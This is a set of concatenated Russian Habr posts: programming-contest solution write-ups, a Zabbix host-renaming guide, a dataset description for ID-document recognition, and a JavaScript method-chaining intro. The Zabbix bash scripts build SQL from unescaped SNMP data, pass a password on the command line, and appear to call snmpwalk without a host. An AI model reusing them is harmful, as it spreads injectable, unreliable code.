Пускай есть какой-то оптимальный ответ, и в нём фигурировали разделяющие элементы d1, d2, ..., dk. Каждый из них устранял сколько-то зазоров. Сделаем следующее: выберем в качестве первого разделяющего элемента min {d1, ..., dk}. Массив разобьётся на отсортированный левый и ещё не отсортированный правый куски. Выберем среди di второй минимум и сделаем его разделяющим элементом для правого куска. Будем повторять, пока di не кончатся. Несложно убедиться, что при такой стратегии выбора разделяющих элементов каждый устранит то же количество зазоров, что и во взятом ранее оптимальном выборе. Таким образом можно решать задачу с помощью динамического программирования, считая минимально необходимое число действий для того, чтобы объединить несколько первых цепочек в одну. Ответом будет минимальное число действий, необходимых для объединения всех цепочек в одну.
#### Задача D. Робот
**Скрытый текст****Идея**: Борис Минаев
**Реализация**: Борис Минаев
**Разбор**: Борис Минаев
**Условие**:
Ограничение по времени: 2 секунды
Ограничение по памяти: 256 мегабайт
Боря участвует в соревновании по программированию роботов. В начальный момент времени робот расположен в левой верхней клетке прямоугольного поля размером n × m клеток. Цель робота — как можно быстрее попасть в правую нижнюю клетку. За один ход робот сначала перемещается из текущей в соседнюю с ней по стороне клетку поля.
Каждая клетка покрашена в один из двух цветов: черный или белый. Известно, что левая верхняя и правая нижняя клетки поля покрашены в черный цвет. После каждого хода робота, если он стоит на клетке белого цвета, происходит следующее: равновероятно случайно выбирается одна из белых клеток поля, и робот переставляется на нее. В частности, может быть выбрана та клетка, на которой и так стоит робот — в этом случае он остается на ней.
Боря хочет выиграть соревнование, для этого ему нужно разработать оптимальную стратегию для робота. Ему известна схема поля, где для каждой клетки отмечено, черная она или белая. Теперь он пытается выяснить математическое ожидание числа ходов, которое потребуется роботу для достижения финиша при использовании оптимальной стратегии. Боря хочет знать ответ абсолютно точно, поэтому он пытается получить его в виде несократимой дроби. Помогите ему выяснить искомое математическое ожидание.
Формат входных данных
Первая строка содержит целое число t — количество полей. Каждое поле описывается следующим образом. В первой строке записано два целых числа n и m — высота и ширина поля в клетках (1 ≤ n, m ≤ 103). В следующих n строках содержится по m символов. Если символ равен B, то соответствующая клетка черная, а если W, то белая.
Суммарное количество клеток во всех полях не превышает 106.
Формат выходных данных
Для каждого поля в отдельной строке выведите математическое ожидание числа ходов, необходимых, чтобы добраться из левой верхней клетки в правую нижнюю при оптимальной стратегии. Ответ необходимо вывести в виде несократимой дроби.
**Разбор:**
В данной задаче необходимо было найти матожидание длины кратчайшего пути из одного угла поля в другой. При этом некоторые клетки поля были покрашены в белый цвет, и при попадании робота на такую клетку он переставлялся в случайную белую клетку поля.
Разберемся подробнее, как устроена оптимальная стратегия выбора пути. Для каждой клетки поля можно посчитать матожидание количества ходов, необходимых для того, чтобы попасть в правую нижнюю клетку. При этом ответ будет соответствовать расстоянию, которое записано в левой верхней клетке. Как же вычислить эти значения? Рассмотрим конкретную клетку и все соседние с ней. Если соседняя клетка покрашена в черный цвет, то ответ для клетки будет как минимум (1 + значение, которое записано в соседней клетке). Если же у клетки есть белый сосед, то ответ для нее равен как минимум (1 + среднее арифметическое ответов для всех белых клеток).
Понятно, что если робот два раза попадает в одну и ту же клетку, то существует оптимальная стратегия, в которой следующий ход в обоих случаях одинаковый. Если это не так, то на каком-то из ходов робот поступил неправильно и пошел в клетку с большим матожиданием количества ходов до конца, а значит, стратегию можно улучшить. Есть два принципиально разных действия, которые может сделать робот, находясь в некоторой клетке. Он может пойти сразу в правый нижний угол по черным клеткам (если такой путь существует), а может пойти в некоторую белую клетку. Очевидно, что среди всех белых клеток в которые можно пойти следует выбрать ближайшую.
Посчитаем для каждой клетки расстояние до правой нижней по черным клеткам и расстояние до ближайшей белой. Заметим, что для любой белой клетки расстояние до ближайшей белой не больше двух. Теперь разобьем все белые клетки на два множества — те, из которых робот сразу должен идти в правую нижнюю клетку, и те, из которых робот должен идти в соседнюю белую. Когда такое разбиение произведено, ответ вычислить несложно. Записав рекуррентное соотношение для среднего ответа для всех белых клеток, найдем его. Это будет некоторая дробь со знаменателем не больше количества белых клеток. Теперь ответ это min(расстояние по черным клеткам до правой нижней, расстояние до ближайшей белой + средний ответ для всех белых).
Осталось научиться находить правильное разбиение белых клеток на множества. Отсортируем все белые клетки по критерию (расстояние до правой нижней по черным — расстояние до ближайшей белой). Утверждается, что оптимальное разбиение следующее — из всех клеток некоторого префикса отсортированного массива необходимо идти сразу в правую нижнюю клетку, а из остальных — в ближайшую белую. Этот факт несложно доказывается методом от противного (пусть оптимальное разбиение имеет другой вид; рассмотрим средний ответ для белых клеток, увидим, что некоторые клетки можно переместить из одного множества в другое, не ухудшив ответ, но приведя разбиение к нужному виду).
В итоге решение сводится к следующему. Посчитаем расстояния, которые обсуждались ранее, для всех клеток. Отсортируем белые клетки. Переберем разбиение на множества, каждый раз пересчитывая средний ответ для белых клеток за O(1). Ответ на задачу — минимум из расстояния по черным клеткам и расстояния до ближайшей белой клетки + средний ответ для белых клеток. Если сортировать белые клетки подсчетом, то общая сложность решения будет O(общее количество клеток).
#### Задача E. Вакцинация
**Скрытый текст****Идея**: Виталий Аксенов
**Реализация**: Борис Минаев
**Разбор**: Борис Минаев
**Условие:**
Ограничение по времени: 2 секунды
Ограничение по памяти: 256 мегабайт
Министерство здравоохранения Байтландии провело масштабное исследование заболеваемости капибарным гриппом среди жителей страны. Учёные выяснили, что иммунитет человека против гриппа характеризуется целым неотрицательным числом. Каждый год 4 января в результате вспышки на Солнце иммунитет каждого человека уменьшается на k. При этом он не может стать отрицательным. Если исходный иммунитет был меньше k, то иммунитет становится равен 0.
В некоторые годы 2 января в Байтландии проводилась вакцинация всех жителей от гриппа. В результате вакцинации иммунитет каждого человека увеличивался на некоторую величину. В результате каждой вакцинации увеличение иммунитета одинаково для всех жителей, хотя, возможно, эта величина различна для разных вакцинаций.
Чтобы лучше изучить болезнь, ученые решили собрать больше статистики. Помогите им вычислить иммунитет некоторых людей в некоторые годы их жизни.
Про каждого человека известен год, в который он родился, год, в который необходимо узнать его иммунитет, а также его иммунитет при рождении. Будем считать, что все жители Байтландии родились 1 января соответствующего года, а узнать иммунитет требуется на 3 января.
Формат входных данных
Первая строка содержит целое число t — количество тестов.
Каждый тест задается следующим образом. В первой строке записано три целых числа n, m и k — количество вакцинаций, количество запросов и величина, на которую уменьшается иммунитет 4 января каждого года в результате солнечной вспышки (1 ≤ n, m ≤ 105, 1 ≤ k ≤ 109). Далее содержится описание вакцинаций: в следующих n строках содержится по два числа — год, в который была проведена вакцинация, а также величина, на которую при этом увеличился иммунитет каждого человека. Гарантируется, что годы приведены в строго возрастающем порядке.
В следующих m строках содержится запросы: по три целых числа, обозначающие год рождения человека, год, в который необходимо узнать его иммунитет, а также начальный иммунитет человека.
Все числа в тестах неотрицательные и не превышают 109. Гарантируется, что год, в который необходимо узнать иммунитет человека, не меньше чем год его рождения. Суммарное количество вакцинаций во всех тестах не превышает 200 000. Аналогично суммарное количество людей не превышает 200 000.
Формат выходных данных
Для каждого запроса в отдельной строке выведите иммунитет человека в соответствующий год.
**Разбор:**
В данной задаче были заданы правила, по которым изменяется некоторая величина. Необходимо было найти значения величины при разных начальных условиях. Сами изменения происходили следующим образом. Каждую единицу времени величина уменьшалась на некоторое число. Если величина становилась отрицательной, то она приравнивалась к нулю. В некоторые моменты времени к этой величине прибавляли какие-то значения.
Каждый запрос характеризовался тройкой чисел — начало и конец промежутка наблюдения, а также начальное значение величины. Рассмотрим функцию ответа на запрос, зависящую от третьего параметра. Утверждается, что она всегда имеет следующий вид: до некоторого значения ответ является константой, а если величина больше этого значения на x, то ответом будет эта константа + x. Это несложно доказать по индукции по количеству «добавлений», которые есть на отрезке. База индукции — на отрезке значения только уменьшаются каждую единицу времени на константу. Справедливость утверждения очевидна. Пусть мы рассмотрели первые k добавлений, а теперь добавляем еще одно, которое происходит позже уже имеющихся. Необходимо разобрать два случая — когда минимальное значение, с которым мы можем прийти к последнему «добавлению», равно нулю, и когда оно больше нуля. В обоих случаях конечная функция имеет такой же вид.
Зная факт, который описан выше, правильное решение придумать не сложно. Построим дерево отрезков на всех «добавлениях». В вершинах дерева будем хранить в каком-нибудь виде функцию ответа для промежутка. Чтобы соединить два промежутка, необходимо аккуратно рассмотреть два случая, о которых говорилось выше. Для обработки очередного запроса возьмем из дерева отрезков соответствующий промежуток, учтем, что концы промежутка могут не совпадать точно с концами запроса, вычислим значение функции. Общая сложность решения получается O(n + m•log(n)), где n — количество «добавлений», а m — количество запросов.
#### Задача F. Расписание перелетов
**Скрытый текст****Идея**: Виталий Аксенов
**Реализация**: Павел Кротков
**Разбор**: Павел Кротков
**Условие:**
Ограничение по времени: 4 секунды
Ограничение по памяти: 256 мегабайт
Новое расписание рейсов компании BytelandAvia преподнесло сюрприз всем путешественникам, исследующим достопримечательности Байтландии. Как утверждают представители этой компании, с новым расписанием рейсов любой турист сможет быстро и просто определить минимальное количество часов, которое он потратит на перелет из одного города в другой.
В Байтландии n городов, и авиакомпания обслуживает m регулярных рейсов, позволяющих добраться — возможно, с несколькими пересадками — из любого байтландского города в любой другой. Рейс номер i соединяет города с номерами ai и bi и выполняется ровно один раз в сутки, состоящие в Байтландии из p часов. Время полета i-го рейса составляет li часов, а вылетает он в тот момент, когда с начала очередных суток прошло si часов. При этом все рейсы являются двусторонними, то есть самолет из города ai в город bi и самолет из города bi в город ai вылетают и прилетают одновременно. Известно также, что самолеты летают строго по расписанию, что позволяет путешественнику, прилетевшему в город в некоторый момент времени, успеть на самолет, вылетающий из этого же города в тот же самый момент.
При этом расписание рейсов Байтландии удовлетворяет следующему условию. Рассмотрим неориентированный граф, где вершинами являются города; они соединены ребром, если между городами есть прямой рейс. Тогда в этом графе каждая вершина принадлежит не более чем одному простому циклу, такие графы называются вершинными кактусами.
Вам необходимо определить минимальное количество часов, которое уйдет у путешественника, пришедшего в начале очередных суток в аэропорт города x, на перелет в город y. Данную задачу требуется решить для нескольких различных путешественников.
Формат входных данных
Первая строка содержит количество тестов t. Далее следуют описания тестов.
В первой строке описания каждого теста даны целые числа n, m и p (1 ≤ n ≤ 104, 1 ≤ m, 1 ≤ p ≤ 109) — количество городов в стране, количество авиарейсов и продолжительность суток.
Следующие m строк содержат описания рейсов. Описание каждого рейса состоит из четырех целых чисел a, b, l и s (1 ≤ a, b ≤ n, a ≠ b, 1 ≤ l ≤ 109, 0 ≤ s < p) — города, соединенные этим рейсом, его продолжительность и время вылета. Гарантируется, что никакая пара городов не соединена двумя и более рейсами.
Следующая строка содержит одно целое число c (1 ≤ c ≤ 105) — количество путешественников, для которых необходимо найти минимальную продолжительность их пути. Следующие c строк содержат по два целых числа x и y (1 ≤ x, y ≤ n) — числа, необходимые для генерации номеров городов, которые интересуют очередного путешественника. Очередной путешественник собирается проехать из города (x + ans — 1) mod n + 1 в город ( y + ans — 1) mod n + 1, где ans — ответ для предыдущего путешественника в этом тесте, если он существует, или же 0 в обратном случае.
Гарантируется, что суммарное количество городов во всех тестах не превышает 104, а суммарное количество путешественников — 105.
Формат выходных данных
Для каждого путешественника в каждом тестовом наборе выведите одно целое число — минимальное количество часов, которое он может потратить на поездку.
**Разбор:**
Данная задача задумывалась как самая технически сложная задача финала. К сожалению, полное и подробное описание ее решения окажется очень громоздким, поэтому мы приведем основные идеи, ведущие к решению задачи, опустив детали конкретной реализации.
Заметим, что описанный в условии граф является вершинным кактусом, и это означает, что любая вершина в этом графе лежит не более чем на одном цикле. Научимся решать сначала более простой случай, в котором данный граф является деревом, после чего несколько усложним наш алгоритм и решим всю задачу.
Подвесим дерево за любую вершину. Рассмотрим все пути, идущие в этом дереве строго сверху вниз, число ребер в которых равно некоторой степени двойки. Для каждого такого пути посчитаем две величины:
* продолжительности пути из верхней вершины в нижнюю при условии, что на ожидание самолета в верхней вершине тратится 0 часов (пассажир прибыл ровно к вылету самолета)
* продолжительности пути из нижней вершины в верхнюю при условии, что на ожидание самолета в нижней вершине тратится 0 часов
Заметим, что при посчитанных величинах для путей из 2k ребер величины для путей длины 2k + 1 считаются за O(1) каждая, так как каждый путь из 2k + 1 ребер разбивается на два пути из 2k ребер каждый, длину которых в часах мы уже выяснили, а объединить их можно, использовав несложную формулу подсчета длительности ожидания в городе, стоящем посередине пути.
Любой путь между двумя вершинами в дереве можно разбить не более чем на два пути, идущих из наименьшего общего предка этих вершин в каждую из них, а каждый из этих путей, в свою очередь, разбивается на O(logn) путей, продолжительности которых в часах мы уже предпосчитали. Таким образом, мы научились обрабатывать запросы, поступающие в дерево.
Посмотрим теперь, как необходимо модифицировать решение, чтобы оно решало оригинальную задачу. Во-первых, заметим, что из-за подвешивания циклов понятие предка в дереве несколько стирается, вследствие чего стирается понятие пути, идущего снизу вверх. Решим эту проблему следующим образом: для любой вершины, находящейся на цикле, ее предком в дереве будет вершина, за которую соответствующий цикл подвешен. Предок же той вершины, за которую весь цикл подвешен, определяется из очевидных соображений.
Но теперь, как несложно заметить, величины, которые мы считали для дерева, несколько утратили свой смысл: из вершины, лежащей на цикле, в вершину, за которую цикл подвешен, существуют два возможных пути, и однозначно определить более выгодный путь заранее невозможно. Поэтому новый набор величин, которые мы считаем для нового дерева, можно сформулировать так:
* продолжительности пути из верхней вершины в нижнюю при условии, что на ожидание самолета в верхней вершине тратится 0 часов (пассажир прибыл ровно к вылету самолета) и в случае, если верхняя вершина лежит на цикле, цикл будет обходиться против часовой стрелки
* продолжительности пути из верхней вершины в нижнюю при условии, что на ожидание самолета в верхней вершине тратится 0 часов и в случае, если верхняя вершина лежит на цикле, цикл будет обходиться по часовой стрелке
* продолжительности пути из нижней вершины в верхнюю при условии, что на ожидание самолета в нижней вершине тратится 0 часов и в случае, если нижняя вершина лежит на цикле, цикл будет обходиться против часовой стрелки
* продолжительности пути из нижней вершины в верхнюю при условии, что на ожидание самолета в нижней вершине тратится 0 часов и в случае, если нижняя вершина лежит на цикле, цикл будет обходиться по часовой стрелке
Между делом заметим, что для путей, концы которых не лежат на циклах, некоторые величины будут совпадать.
Предпосчитав описанные выше значения, мы можем приступать к решению задачи. Заметим, что путь между двумя вершинами разбивается на два пути (возможно, пустых) снизу вверх и сверху вниз, между ними же, возможно, придется пройти по циклу, выбрав направление его обхода.
В качестве последнего уточнения заметим, что считать длину прохода по циклу от вершины к вершине в ту или иную сторону нам поможет точно такой же трюк — подсчет продолжительности прохода по путям, состоящим из числа ребер, равного некоторой степени двойки.
Все трое победителей RCC 2013 справились с первыми пятью задачами. Задача F оказалась, пожалуй, даже более крепким орешком, чем мы предполагали — с ней не справился ни один из 50 финалистов.
Для того чтобы выйти в финал, нужно было пройти одну из трех квалификаций (разборы задач с [первой](http://habrahabr.ru/company/mailru/blog/177171/), [второй](http://habrahabr.ru/company/mailru/blog/179807/) и [третьей](http://habrahabr.ru/company/mailru/blog/182256/) уже публиковались на Хабре) и [отборочный раунд](http://habrahabr.ru/company/mailru/blog/183924/). | https://habr.com/ru/post/195164/ | null | ru | null |
# Автоматическое переименование хостов в Zabbix, по данным из snmp sysName
Цикл статей о Zabbix продолжает не зарегистрированный здесь пользователь. Первую статью можете прочитать [тут](http://osj.habrahabr.ru/blog/81630/).
Зачем это нужно?
----------------
Добавить новый хост в Zabbix можно двумя основными способами: автообнаружение и ручное добавление хоста. Когда мы имеем очень большое количество узлов добавление их в систему мониторинга ручками занимает большое время, отслеживание их количества и подержание их в актуальном состоянии тоже не легкая задача. В этом случае удобно использовать авто обнаружение. Как его использовать в этой статье описываться не будет (если кому будет интересно можно будет подготовить маленький обзор по основным функциям). Основной недостаток при авто обнаружении — добавленные хосты получают имя равное IP устройства. При большом количестве устройств разобраться, что где проблематично.
Решение.
--------
Как правило любое устройство контролируемое по snmp имеет стандартный OID .1.3.6.1.2.1.1.5.0 или system.sysName.0. Это и есть так называемый hostname железки. В качестве имени устройства использовать какое либо значение полученное по OID стандартными средствами в Zabbix невозможно.
Самый простой способ — использование внешних скриптов.
#### Для PostgresSQL:
> `[#!/bin/bash
>
>
>
> PGSQL="psql -d <имя БД> -h <ип сервера БД> -U <имя пользователя БД> -W -c"
>
>
>
> $PGSQL"SELECT ip FROM hosts where ip ILIKE '192.168.1.%'" | while read line
>
> do
>
> arr=($line)
>
> x=`snmpwalk -Ou -Oq -v2c -c ${arr[0]} system.sysName.0 2> /dev/null | awk '{print$2}' | tr "[:upper:]" "[:lower:] " `
>
> [[ -n $x ]] && $PGSQL"UPDATE hosts SET host = '$x' WHERE ip ='${arr[0]}'"
>
>
>
> done
>
>
>
> \* This source code was highlighted with Source Code Highlighter](http://virtser.net/blog/post/source-code-highlighter.aspx).`
#### Для MYSQL:
> `[#!/bin/bash
>
>
>
> MYSQL="mysql --connect\_timeout 10 <имя БД> -h <ип сервера БД> -u <имя пользователя БД> --password=<пароль> --skip-column-names -B -e"
>
>
>
> $MYSQL "SELECT ip FROM hosts where ip like '192.168.1.%'" | while read line
>
> do
>
> arr=($line)
>
> x=`snmpwalk -Ou -Oq -v2c -c ${arr[0]} system.sysName.0 2> /dev/null | awk '{print$2}' | tr "[:upper:]" "[:lower:] " `
>
> [[ -n $x ]] && $MYSQL "UPDATE hosts SET host = '$x' WHERE ip ='${arr[0]}'"
>
>
>
> done
>
>
>
> \* This source code was highlighted with Source Code Highlighter](http://virtser.net/blog/post/source-code-highlighter.aspx).`
Вместо '192.168.1.%' подставляем нужный диапазон ip адресов железок.
Скрипт сохраняем в удобном для использования месте, делаем chmod +X и запускаем по необходимости. Можно прописать этот скрипт в крон.
Есть вариант пойти дальше и чуть изменив скрипт выполнять его при действии автообнаружения самим забиксом, но только для той железки которую обнаружили. Сделать это не трудно, но не возникало необходимости. | https://habr.com/ru/post/82465/ | null | ru | null |
# На чем тестировать алгоритмы распознавания и обработки документов, удостоверяющих личность?
Как известно, мы в [Smart Engines](https://smartengines.ru/) занимаемся системами компьютерного зрения и распознавания документов, а также научными исследованиями в этой области. В течение нескольких лет в фокусе нашего внимания находились системы распознавания документов, удостоверяющих личность. Одной из критичных проблем, возникающих при подготовке научных статей, является отсутствие открытых датасетов, на которых можно демонстрировать сообществу разработанные нами алгоритмы и подходы. В связи с этим два года назад мы начали работу над серией открытых пакетов изображений и видеоклипов ID-документов, предназначенных, главным образом, для исследователей, и о результатах этой работы хотели бы рассказать вам под катом.
Про что это
-----------
Думаем, что всем давно понятно, что использование смартфонов и других портативных девайсов стало де-факто стандартом в финтехе, государственных услугах, sharing economy и т.п. В большом количестве кейсов пользователю необходимо вносить свои персональные данные, будь то данные паспорта, загранпаспорта, водительских прав или банковской карточки. Вводить данные на мобильнике вручную — не самое быстрое и удобное занятие, поэтому большое количество компаний внедряют различного рода системы распознавания и анализа документов для упрощения этой процедуры. Стоит отметить, что целью таких внедрений является не только ускорение и упрощения процедуры ввода данных, но и автоматизация проверки действительности документа и детектирования недобросовестных пользователей. Современные системы распознавания должны работать в неконтролируемых условиях — как в хорошо освещенном офисе, так и на пригородной железнодорожной платформе в сумерках.
Несколько исследовательских команд, как за рубежом так и в России, занимаются проблемами мобильного распознавания и анализа документов в сложных условиях. Помимо того, что эта задача сама по себе непростая, важной проблемой является недоступность данных для проверки результатов. В особенности это касается документов, удостоверяющих личность — в этом случае публикация датасетов настоящих документов попросту невозможна. Это приводит к тому, что исследователи и разработчики вынуждены работать с синтетически сгенерированными данными, которые плохо отражают реальность, а тестироваться либо на своих собственных документах (которых мало), либо на публично доступных сэмплах, которых тоже мало. И хотя существует несколько открытых баз примеров идентификационных документов (к примеру, [PRADO](https://www.google.com/url?q=https://www.consilium.europa.eu/prado/en/search-by-document-country.html&sa=D&ust=1584439631098000&usg=AFQjCNFPA4_u6FIJNIXDSQbP13MBwffDRA) или [Edison](https://www.google.com/url?q=http://www.edisontd.net/&sa=D&ust=1584439631099000&usg=AFQjCNFoQaiz6xYFG4A5KBGj_t3Kyt0_FQ)), изображения в этих базах, как правило, не отражают реальных юзкейсов, а правовые ограничения не позволяют (в большинстве случаев) создавать на их основе производных датасетов.
Нужно отметить, что некоторое количество открытых датасетов документов все же существует, однако они недостаточны для бенчмаркинга полного цикла распознавания документов, удостоверяющих личность, в особенности если речь идет о применении распознавания на мобильных устройствах и в видеопотоке. Ссылки на несколько открытых датасетов приведены в Таблице 1.
Таблица 1. Несколько открытых датасетов, которые можно использовать для работы над отдельными задачами анализа и распознавания документов.
| Задача | Датасеты |
| --- | --- |
| Детектирование и локализация документа | [10.1109/ICDAR.2015.7333943](https://doi.org/10.1109/ICDAR.2015.7333943) |
| Сегментация текста | [arXiv:1601.07140](https://arxiv.org/abs/1601.07140) |
| Бинаризация изображений документов | [10.1109/ICDAR.2017.228](https://doi.org/10.1109/ICDAR.2017.228) |
| Распознавание символов | [MNIST](http://yann.lecun.com/exdb/mnist/), [Uber-Text](https://eng.uber.com/research/uber-text-a-large-scale-dataset-for-optical-character-recognition-from-street-level-imagery/) |
| Супер-разрешение в документах | [10.1109/ICDAR.2017.306](https://doi.org/10.1109/ICDAR.2017.306) |
| Детектирование подделок | [10.1109/EST.2017.8090394](https://doi.org/10.1109/EST.2017.8090394) |
| Классификация изображений документов | [10.1109/ICDAR.2015.7333910](https://doi.org/10.1109/ICDAR.2015.7333910) |
| Разбор шаблона документа | [10.1109/ICDAR.2009.271](https://doi.org/10.1109/ICDAR.2009.271)
[10.1109/ICDAR.2017.229](https://doi.org/10.1109/ICDAR.2017.229) |
| Оценка качества изображений документов | [10.1007/978-3-319-05167-3\_9](https://doi.org/10.1007/978-3-319-05167-3_9)
[10.1109/ICDAR.2015.7333960](https://doi.org/10.1109/ICDAR.2015.7333960) |
Поскольку нам крайне интересны алгоритмы обработки и распознавания документов, удостоверяющих личность, в видеопотоке, полученном при помощи камеры мобильного телефона, мы решили создать датасет, в котором будут содержаться видеоклипы несколько различных ID-документов, снятые в различных условиях. Почему именно видео? Во-первых, анализ нескольких последовательных кадров позволяет применять различные техники фильтрации и уточнения при решении одной из главных задач систем распознавания документов — поиска и типизации. Во-вторых, для решения задачи выбора наилучшего представления какого-нибудь объекта (например, фотографии), необходим датасет, содержащий множество кадров. Во-третьих, использование множества изображений одного и того же объекта позволяет применять технологии “супер-разрешения” для повышения точности распознавания, или применять многократное распознавание с комбинирование полученных результатов.
Полученный датасет получил название MIDV-500. MIDV, потому что Mobile Identity Documents in Videostream, а 500 — потому что датасет содержал 500 видеоклипов при своем первом релизе. Датасет доступен для скачивания [по ссылке](ftp://smartengines.com/midv-500).
Структура датасета
------------------
Первый вопрос, конечно — откуда взялись документы. Для создания датасета мы прошерстили википедию в поисках семплов ID-документов, которые были бы либо не защищены авторскими правами, либо распространялись с открытой лицензией. Удалось найти 50 типов документов, включая 17 типов ID-карт, 14 типов паспортов, 13 типов водительских удостоверений и 6 других типов (перечислены [здесь](ftp://smartengines.com/midv-500/documents.pdf)). Каждый документ мы распечатали, заламинировали (чтобы хоть каким-то образом имитировать блики), и сняли для каждого 10 видеороликов в 5 разных условиях с использованием iPhone 5 и Samsung Galaxy S3. Список условий съемки представлен в Таблице 2.
Таблица 2. Условия съемки MIDV-500. Первая буква идентификатора кодирует условие, вторая — устройство (A — Apple iPhone 5, S — Samsung Galaxy S3).
| Идентификатор | Описание |
| --- | --- |
| TS, TA | Table — самый простой случай, документ лежит на столе с однородным фоном. |
| KS, KA | Keyboard — документ лежит на клавиатуре, что усложняет использование простых методов поиска прямолинейных границ. |
| HS, HA | Hand — документ держится в руке. |
| PS, PA | Partial — документ “пролетает” через область съемки, на некоторых изображениях документ частично или полностью за кадром. |
| CS, CA | Clutter — документ снят на фоне множества разнообразных объектов, по мотивам 5-го фона [этого известного датасета](https://doi.org/10.1109/ICDAR.2015.7333943). |
Каждый из 500 клипов снимался не менее 3-х секунд, и первые 3 секунды были раскадрованы с частотой 10 FPS. Итого получили 15000 кадров, все с разрешением 1080х1920px.
К каждому из 15000 кадров прилагается JSON-файл с координатами углов документа в следующем формате:
```
{
"quad": [ [0, 0], [111, 0],
[111, 222], [0, 222] ]
}
```
Если углы документа находятся вне кадра, координаты экстраполировались таким образом, чтобы отрезки, соединяющие вершины четырехугольника, соответствовали видимым границам документа.
Для каждого из 50-ти документов в датасете присутствует JSON-файл, содержащий информацию о расположении полей (на выравненном изображении документа) и значения его текстовых полей, в следующем формате:
```
{
"field01": {
"value": "Erika",
"quad": [ [983, 450], [1328, 450],
[1328, 533], [983, 533] ]
},
// ...
"photo": {
"quad": [ [78, 512], [833, 512],
[833, 1448], [78, 1448] ]
}
}
```
Всего в датасете 48 полей типа “фотография”, 40 полей типа “подпись” и 546 текстовых полей на разных языках.
Спустя год после первой публикации датасета MIDV-500 мы начали получать первый фидбек от исследователей и по его результатам подготовили и опубликовали расширение датасета под названием MIDV-2019. Были добавлены 200 видеоклипов тех же 50-ти документов, однако снятые в двух новых условиях: с сильными проективными искажениями и при низком освещении. Новые клипы были сняты с разрешением 2160x3840px с помощью более современных смартфонов iPhone XS Max и Samsung Galaxy S10. Расширение MIDV-2019 доступно [по ссылке](ftp://smartengines.com/midv-500/extra/midv-2019/).
Эксперименты
------------
С момента первого выкладывания датасета MIDV-500 в открытый доступ прошло почти 2 года, и на его основе опубликовано некоторое количество работ, как наших сотрудников, так и исследователей из других научных и коммерческих групп. В Таблице 3 приведены несколько публикаций (конечно, далеко не все), в которых приводятся экспериментальные результаты алгоритмов решения задач, связанных с ID-документами, полученные при помощи MIDV-500 и MIDV-2019.
Таблица 3. Подборка публикаций.
| Суть эксперимента | Ссылка |
| --- | --- |
| Поиск лица и распознавание текстовых полей при шумном детектировании границ документа. Основная публикация MIDV-500. | [10.18287/2412-6179-2019-43-5-818-824](https://doi.org/10.18287/2412-6179-2019-43-5-818-824) |
| Распознавание текстовых полей в условиях проективных искажений документа и низкой освещенности. Основная публикация MIDV-2019. | [10.1117/12.2558438](https://doi.org/10.1117/12.2558438) |
| Идентификация документа по ключевым словам | [10.1109/RUSAUTOCON.2019.8867614](https://doi.org/10.1109/RUSAUTOCON.2019.8867614) |
| Поиск и оценка качества изображений ID-документов | <http://www.informaticahabana.cu/es/node/5578> |
| Быстрый поиск и идентификация ID-документа | [10.1109/ICDAR.2019.00141](https://doi.org/10.1109/ICDAR.2019.00141) |
| Распознавание текстовых строк | [10.1109/ACCESS.2020.2974051](https://doi.org/10.1109/ACCESS.2020.2974051) |
| Поиск лица на изображениях ID-документов | [10.1109/ICDARW.2019.30065](https://doi.org/10.1109/ICDARW.2019.30065) |
| Поиск и маскировка чувствительных текстовых данных | [10.1109/SIBIRCON48586.2019.8958325](https://doi.org/10.1109/SIBIRCON48586.2019.8958325) |
| Поиск точек схода на изображении документа при помощи HoughNet | [10.1109/ICDAR.2019.00140](https://doi.org/10.1109/ICDAR.2019.00140) |
| Детектирование моноширинности шрифта | [10.1117/12.2559373](https://doi.org/10.1117/12.2559373) |
| Задача останова при распознавании текстовой строки в видеопотоке | [10.1007/s10032-019-00333-0](https://doi.org/10.1007/s10032-019-00333-0) |
Мы продолжаем работу над расширением датасета, в особенности уделяя внимание вариативности текстовых/графических данных, фонов и условий съемки. Мы надеемся что публикация подобных данных даст возможность научным коллективам проводить бенчмарки своих алгоритмов анализа изображений и успешно публиковать свои результаты. | https://habr.com/ru/post/492696/ | null | ru | null |
# Chainvas: изящный и миниатюрный «костыль», добавляющий средства цепного вызова (method chaining) к любому API
Благодаря библиотеке jQuery примерно с 2006 года (то есть лет пять как) никому не надо объяснять, что такое **method chaining**: это та самая техника программирования, в которой методы объекта могут быть вызваны друг за другом по цепочке, как в jQuery.
Главнейшим достоинством этой техники является заметная экономия усилий программиста. С нею программисту не приходится заново, неоднократно записывать имя объекта вот в такой манере:
```
obj.шмяк();
obj.тыдыжжь();
obj.ынц();
```
Вместо этого программист может вызвать все методы цепóчкою — в одну строку:
```
obj.шмяк().тыдыжжь().ынц();
```
Если же ему покажется, что такой вид записи хуже читается человеком, чем предыдущий (особенно когда у методов появляются параметры, иногда довольно обширные), то тогда программист может записывать имена методов с новой строки (JavaScript это позволяет), но всё равно экономить на имени объекта:
```
obj
.шмяк(параметр1, параметр2, …)
.тыдыжжь(параметр1, параметр2, …)
.ынц(параметр1, параметр2, …);
```
На практике возможность такой техники обеспечивается тем, что ни один метод объекта не возвращает значение **undefined**. Вместо этого, если метод является командою, а не запросом (то есть выполняет некоторое действие, а не возвращает некоторое значение), то в конце его автор библиотеки пишет «**return this**» — этим-то и обеспечивается возможность записи вызова нескольких команд подряд в форме цепочки.
Насколько я знаю, устоявшегося русского эквивалента англоязычному словосочетанию «method chaining» пока что не существует. Наверное, можно говорить о «цепочечной» или, для простоты, о «цепной» форме вызова методов.
Удобство цепного вызова вызывает привыкание. Ну правда же: достаточно пару-тройку-другую недель попрограммировать на jQuery — и обыкновенные API начинают раздражать, даже бесить, своею допотопною невозможностью цепного вызова. Также недостаёт возможности задания их свойств в виде объекта, передаваемого методу, подобному **.css({color: 'red', 'line-height': 1})** в jQuery.
Вообразите себе, например, как необыкновенно было бы удобно, кабы по холсту *()* можно было рисовать цепными вызовами в такой манере:
```
ctx.beginPath()
.prop({
lineWidth: 2,
strokeStyle: '#333'
}).moveTo(0,0)
.bezierCurveTo(50,50, 80,80, 100,100)
.stroke().closePath();
```
И средство для **именно таких** цепных вызовов появилось — благодаря Lea Verou. Вот оно:
[![[Chainvas]](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b09/77b/18b/b0977b18b6fd85ecfbe1485ec689791a.jpg)](http://leaverou.github.com/chainvas/)
